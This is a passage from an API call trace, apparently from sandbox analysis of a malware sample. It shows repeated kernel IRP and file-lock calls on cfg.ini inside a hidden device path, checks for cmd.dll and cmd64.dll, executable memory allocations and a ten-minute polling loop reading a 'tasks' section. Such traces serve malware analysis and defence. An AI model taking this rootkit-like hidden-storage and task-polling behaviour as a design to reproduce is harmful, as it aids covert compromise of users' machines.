_Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.358] KeLeaveCriticalRegion () [0121.358] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.358] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.358] KeEnterCriticalRegion () [0121.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.358] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b11000 [0121.358] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.358] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.358] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.358] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.358] IdePortDispatch () returned 0x103 [0121.358] KeWaitForMutexObject () returned 0x0 [0121.358] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.358] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.358] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.358] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.358] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.358] IdePortDispatch () returned 0x103 [0121.359] KeWaitForMutexObject () returned 0x0 [0121.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.359] KeLeaveCriticalRegion () [0121.359] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.359] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.359] KeEnterCriticalRegion () [0121.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.359] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.359] KeLeaveCriticalRegion () [0121.359] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.359] KeEnterCriticalRegion () [0121.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.359] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.359] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.359] KeLeaveCriticalRegion () [0121.359] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.360] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.360] KeEnterCriticalRegion () [0121.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.360] ExFreePoolWithTag (P=0xfffffa8003bc4770, Tag=0x0) [0121.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.360] KeLeaveCriticalRegion () [0121.360] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.360] ReleaseMutex (hMutex=0xf0) returned 1 [0121.360] Sleep (dwMilliseconds=0x927c0) [0121.373] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.373] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.373] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.373] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.373] KeEnterCriticalRegion () [0121.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.373] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.373] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.373] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.373] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.373] IdePortDispatch () returned 0x103 [0121.373] KeWaitForMutexObject () returned 0x0 [0121.373] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.373] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.373] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.373] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.374] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.374] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4660 [0121.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.374] KeLeaveCriticalRegion () [0121.374] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.374] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.374] KeEnterCriticalRegion () [0121.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.374] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.374] KeLeaveCriticalRegion () [0121.374] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.374] KeEnterCriticalRegion () [0121.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.374] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.374] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.374] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.374] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.374] IdePortDispatch () returned 0x103 [0121.374] KeWaitForMutexObject () returned 0x0 [0121.374] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.374] KeLeaveCriticalRegion () [0121.374] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.374] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.374] KeEnterCriticalRegion () [0121.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.374] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b16000 [0121.374] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.374] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.374] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.374] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.374] IdePortDispatch () returned 0x103 [0121.374] KeWaitForMutexObject () returned 0x0 [0121.375] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.375] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.375] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.375] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.375] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.375] IdePortDispatch () returned 0x103 [0121.377] KeWaitForMutexObject () returned 0x0 [0121.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.377] KeLeaveCriticalRegion () [0121.377] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.378] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.378] KeEnterCriticalRegion () [0121.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.378] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.378] KeLeaveCriticalRegion () [0121.378] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.378] KeEnterCriticalRegion () [0121.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.378] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.378] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc38b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.378] KeLeaveCriticalRegion () [0121.378] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.378] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.378] KeEnterCriticalRegion () [0121.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.378] ExFreePoolWithTag (P=0xfffffa8003bc4660, Tag=0x0) [0121.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.378] KeLeaveCriticalRegion () [0121.378] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.378] ReleaseMutex (hMutex=0xf0) returned 1 [0121.378] Sleep (dwMilliseconds=0x927c0) [0121.392] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.392] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.392] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.392] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.392] KeEnterCriticalRegion () [0121.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.392] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.392] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.392] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.392] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.392] IdePortDispatch () returned 0x103 [0121.392] KeWaitForMutexObject () returned 0x0 [0121.393] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.393] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.393] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.393] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.393] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.393] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4a20 [0121.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.393] KeLeaveCriticalRegion () [0121.393] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.393] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.393] KeEnterCriticalRegion () [0121.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.393] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.393] KeLeaveCriticalRegion () [0121.393] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.393] KeEnterCriticalRegion () [0121.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.393] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.393] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.393] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.393] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.393] IdePortDispatch () returned 0x103 [0121.393] KeWaitForMutexObject () returned 0x0 [0121.393] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.393] KeLeaveCriticalRegion () [0121.393] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.393] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.393] KeEnterCriticalRegion () [0121.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.393] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1d000 [0121.393] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.393] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.393] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.393] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.393] IdePortDispatch () returned 0x103 [0121.394] KeWaitForMutexObject () returned 0x0 [0121.394] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.394] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.394] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.394] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.394] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.394] IdePortDispatch () returned 0x103 [0121.394] KeWaitForMutexObject () returned 0x0 [0121.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.394] KeLeaveCriticalRegion () [0121.394] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.394] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.394] KeEnterCriticalRegion () [0121.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.394] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.395] KeLeaveCriticalRegion () [0121.395] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.395] KeEnterCriticalRegion () [0121.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.395] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.395] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.395] KeLeaveCriticalRegion () [0121.395] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.395] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.395] KeEnterCriticalRegion () [0121.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.395] ExFreePoolWithTag (P=0xfffffa8003bc4a20, Tag=0x0) [0121.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.395] KeLeaveCriticalRegion () [0121.395] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.395] ReleaseMutex (hMutex=0xf0) returned 1 [0121.395] Sleep (dwMilliseconds=0x927c0) [0121.409] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.409] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.410] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.410] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.410] KeEnterCriticalRegion () [0121.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.410] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.410] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.410] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.410] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.410] IdePortDispatch () returned 0x103 [0121.410] KeWaitForMutexObject () returned 0x0 [0121.410] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.410] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.410] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.410] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.410] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.410] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba4b0 [0121.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.410] KeLeaveCriticalRegion () [0121.410] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.410] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.410] KeEnterCriticalRegion () [0121.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.410] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.410] KeLeaveCriticalRegion () [0121.410] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.410] KeEnterCriticalRegion () [0121.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.410] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.410] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.410] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.410] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.410] IdePortDispatch () returned 0x103 [0121.410] KeWaitForMutexObject () returned 0x0 [0121.411] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.411] KeLeaveCriticalRegion () [0121.411] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.411] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.411] KeEnterCriticalRegion () [0121.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.411] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b22000 [0121.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.411] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.411] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.411] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.411] IdePortDispatch () returned 0x103 [0121.411] KeWaitForMutexObject () returned 0x0 [0121.411] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.411] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.411] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.411] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.411] IdePortDispatch () returned 0x103 [0121.411] KeWaitForMutexObject () returned 0x0 [0121.411] ExReleaseFastMutexUnsafe (in: 